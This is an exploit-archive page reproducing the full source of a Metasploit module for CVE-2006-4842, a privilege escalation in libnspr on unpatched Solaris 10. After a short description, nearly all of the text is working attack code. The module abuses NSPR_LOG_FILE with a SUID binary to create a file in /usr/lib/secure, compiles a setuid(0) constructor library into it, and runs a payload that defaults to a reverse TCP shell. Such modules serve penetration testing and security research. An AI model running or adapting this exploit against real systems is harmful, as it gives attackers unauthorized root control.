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Solaris libnspr NSPR_LOG_FILE Privilege Escalation

Solaris libnspr NSPR_LOG_FILE Privilege Escalation
Posted Sep 18, 2018
Authored by Marco Ivaldi, Brendan Coles | Site metasploit.com

This Metasploit module exploits an arbitrary file write vulnerability in the Netscape Portable Runtime library (libnspr) on unpatched Solaris systems prior to Solaris 10u3 which allows users to gain root privileges. libnspr versions prior to 4.6.3 allow users to specify a log file with the `NSPR_LOG_FILE` environment variable. The log file is created with the privileges of the running process, resulting in privilege escalation when used in combination with a SUID executable. This Metasploit module writes a shared object to the trusted library directory `/usr/lib/secure` and runs the specified SUID binary with the shared object loaded using the `LD_LIBRARY_PATH` environment variable. This Metasploit module has been tested successfully with libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).

tags | exploit, arbitrary, x86, root
systems | solaris
advisories | CVE-2006-4842
MD5 | 0f80a93992c7fdfbc617a2b680a3059e

Solaris libnspr NSPR_LOG_FILE Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris libnspr NSPR_LOG_FILE Privilege Escalation',
'Description' => %q{
This module exploits an arbitrary file write vulnerability in the
Netscape Portable Runtime library (libnspr) on unpatched Solaris systems
prior to Solaris 10u3 which allows users to gain root privileges.

libnspr versions prior to 4.6.3 allow users to specify a log file with
the `NSPR_LOG_FILE` environment variable. The log file is created with
the privileges of the running process, resulting in privilege escalation
when used in combination with a SUID executable.

This module writes a shared object to the trusted library directory
`/usr/lib/secure` and runs the specified SUID binary with the shared
object loaded using the `LD_LIBRARY_PATH` environment variable.

This module has been tested successfully with libnspr version 4.5.1
on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).
},
'References' =>
[
['BID', '20471'],
['CVE', '2006-4842'],
['EDB', '2543'],
['EDB', '2569'],
['EDB', '2641'],
['URL', 'https://securitytracker.com/id/1017050'],
['URL', 'https://securitytracker.com/id/1017051'],
['URL', 'https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR'],
['URL', 'http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418'],
['URL', 'http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1']
],
'License' => MSF_LICENSE,
'Author' =>
[
'iDefense', # Discovery
'Marco Ivaldi', # Exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 11 2006',
'Privileged' => true,
'Platform' => ['solaris'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],
'Targets' => [['Auto', {}]],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' =>
{
'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
# Some useful example SUID executables:
# * /usr/bin/cancel
# * /usr/bin/chkey
# * /usr/bin/lp
# * /usr/bin/lpset
# * /usr/bin/lpstat
# * /usr/lib/lp/bin/netpr
# * /usr/sbin/lpmove
OptString.new('SUID_PATH', [true, 'Path to suid executable (must be linked to a vulnerable version of libnspr4.so)', '/usr/bin/cancel'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def suid_bin_path
datastore['SUID_PATH']
end

def is_writable?(path)
cmd_exec("[ -w #{path} ] && echo true").include? 'true'
end

def mkdir(path)
vprint_status "Creating directory '#{path}'"
cmd_exec "mkdir -p '#{path}'"
register_dir_for_cleanup path
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_compile(path, data)
upload "#{path}.c", data

output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/ gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end

register_file_for_cleanup path
end

def check
unless setuid? suid_bin_path
vprint_error "#{suid_bin_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{suid_bin_path} is setuid"

unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'

# libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable
# Earlier versions may also be vulnerable
libnspr_pkg_info = cmd_exec 'pkginfo -l SUNWpr'
libnspr_pkg_version = libnspr_pkg_info.scan(/VERSION:\s+([\d\.]+),/).flatten.first
if libnspr_pkg_version.to_s.eql? ''
vprint_error 'Could not determine libnspr version'
return CheckCode::Unknown
end

if Gem::Version.new(libnspr_pkg_version) >= Gem::Version.new('4.6.3')
vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "libnspr version #{libnspr_pkg_version} appears to be vulnerable"

# Solaris 10 versions prior to the 2006 patches are known to be vulnerable.
# Solaris 8 and 9 (SunOS 5.8 and 5.9) are not affected by default,
# however third-party software may also introduce a vulnerable version of the library.
version = kernel_release
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end

unless Gem::Version.new(version) <= Gem::Version.new('5.10')
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"

# The vulnerability was patched in various Solaris patches for different platforms.
# For more information, see:
# - http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1
installed_patches = cmd_exec 'showrev -p'
[
119214, # Solaris 10 (x86) patch 119214-10
119213, # Solaris 10 (SPARC) patch 119213-10
119212, # Solaris 9 (x86) patch 119212-10
119211, # Solaris 9 (SPARC) patch 119211-10
119209 # Solaris 8 (SPARC) patch 119209-10
].each do |patch|
if installed_patches =~ / #{patch}-(\d+)/
revision = $1.to_i
if revision >= 10
vprint_error "Solaris patch #{patch}-#{revision} has been applied"
return CheckCode::Safe
end
end
end
vprint_good 'Solaris patches are not installed'

CheckCode::Appears
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

unless is_writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

# Create writable file in /usr/lib/secure
lib_path = '/usr/lib/secure'
lib_name = 'libldap.so.5'

vprint_status "Creating file #{lib_path}/#{lib_name}"
cmd_exec 'umask 0'
cmd_exec "NSPR_LOG_MODULES=all:5 NSPR_LOG_FILE=\"#{lib_path}/#{lib_name}\" #{suid_bin_path}"
cmd_exec "NSPR_LOG_FILE=#{lib_path}/#{lib_name} #{suid_bin_path}"
cmd_exec 'umask 022'

unless is_writable? "#{lib_path}/#{lib_name}"
fail_with Failure::Unknown, "Could not create file '#{lib_path}/#{lib_name}'"
end

print_good "Created file #{lib_path}/#{lib_name}"
register_file_for_cleanup "#{lib_path}/#{lib_name}"

# Upload and compile shared object
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path

payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"

so = <<-EOF
void __attribute__((constructor)) cons() {
setuid(0);
setgid(0);
execle("#{payload_path}", "", 0, 0);
_exit(0);
}
EOF

so_name = ".#{rand_text_alphanumeric 5..10}"
so_path = "#{base_path}/#{so_name}"
upload_and_compile so_path, so

vprint_status "Writing shared object #{lib_path}/#{lib_name}"
cmd_exec "cp '#{so_path}' '#{lib_path}/#{lib_name}'"
register_file_for_cleanup "#{lib_path}/#{lib_name}"

# Upload and execute payload
upload payload_path, generate_payload_exe
cmd_exec "chmod +x #{payload_path}"

print_status 'Executing payload...'
cmd_exec "LD_LIBRARY_PATH=\"#{lib_path}\" #{suid_bin_path} & echo "
end
end

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